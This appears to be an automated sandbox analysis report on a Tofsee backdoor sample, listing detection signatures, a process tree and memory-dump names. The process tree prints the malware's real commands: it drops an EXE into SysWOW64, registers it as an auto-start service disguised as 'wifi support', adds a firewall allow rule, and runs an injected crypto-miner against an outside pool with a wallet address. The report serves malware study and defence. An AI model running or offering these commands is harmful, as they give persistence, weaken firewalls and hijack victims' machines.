Analysis

  • max time kernel
    148s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    12/11/2020, 14:36

General

  • Target
    38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe
  • Size 11.3MB
  • Sample201112-w745d8hb22
  • SHA256 38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Program crash 19 IoCs
  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe
    "C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:584
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 556
      2⤵
      • Program crash
      PID:3208
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 680
      2⤵
      • Program crash
      PID:3116
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 704
      2⤵
      • Program crash
      PID:420
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 764
      2⤵
      • Program crash
      PID:1248
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 788
      2⤵
      • Program crash
      PID:3876
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 752
      2⤵
      • Program crash
      PID:3572
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 952
      2⤵
      • Program crash
      PID:756
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\divgunzb\
      2⤵
        PID:2328
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 768
        2⤵
        • Program crash
        PID:1916
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 1008
        2⤵
        • Program crash
        PID:3508
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\zqywgbiw.exe" C:\Windows\SysWOW64\divgunzb\
        2⤵
          PID:1148
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 1004
          2⤵
          • Program crash
          PID:3728
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 804
          2⤵
          • Program crash
          PID:3920
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create divgunzb binPath= "C:\Windows\SysWOW64\divgunzb\zqywgbiw.exe /d\"C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:2336
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 800
            2⤵
            • Program crash
            PID:3936
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 1020
            2⤵
            • Program crash
            PID:1792
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description divgunzb "wifi internet conection"
            2⤵
              PID:2804
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 552
              2⤵
              • Program crash
              PID:2644
            • C:\Windows\SysWOW64\WerFault.exe
              C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 584
              2⤵
              • Program crash
              PID:188
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start divgunzb
              2⤵
                PID:3244
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 588
                2⤵
                • Program crash
                PID:4012
              • C:\Windows\SysWOW64\WerFault.exe
                C:\Windows\SysWOW64\WerFault.exe -u -p 584 -s 644
                2⤵
                • Program crash
                PID:2896
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:2192
              • C:\Windows\SysWOW64\divgunzb\zqywgbiw.exe
                C:\Windows\SysWOW64\divgunzb\zqywgbiw.exe /d"C:\Users\Admin\AppData\Local\Temp\38ff1ccc229dd0ee592d9bd47c4ec4fbcc418fb385d7dea4bd72d1120651cb7d.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:4088
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4088 -s 576
                  2⤵
                  • Program crash
                  PID:2056
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Deletes itself
                  • Drops file in System32 directory
                  • Modifies service
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:808
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3924
                • C:\Windows\SysWOW64\WerFault.exe
                  C:\Windows\SysWOW64\WerFault.exe -u -p 4088 -s 628
                  2⤵
                  • Program crash
                  PID:3824

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    memory/584-1-0x0000000003590000-0x0000000003591000-memory.dmp

                    memory/584-0-0x00000000033ED000-0x0000000003406000-memory.dmp

                    memory/808-20-0x0000000003DD0000-0x0000000003DD7000-memory.dmp

                    memory/808-16-0x00000000034F0000-0x00000000034F6000-memory.dmp

                    memory/808-19-0x0000000009710000-0x0000000009B1B000-memory.dmp

                    memory/808-18-0x0000000003DC0000-0x0000000003DC5000-memory.dmp

                    memory/808-17-0x0000000003D20000-0x0000000003D30000-memory.dmp

                    memory/808-12-0x0000000003210000-0x0000000003225000-memory.dmp

                    memory/808-15-0x0000000005050000-0x000000000525F000-memory.dmp

                    memory/3924-22-0x0000000000480000-0x0000000000571000-memory.dmp

                    memory/4088-10-0x00000000035D8000-0x00000000035F1000-memory.dmp

                    memory/4088-11-0x00000000036B0000-0x00000000036B1000-memory.dmp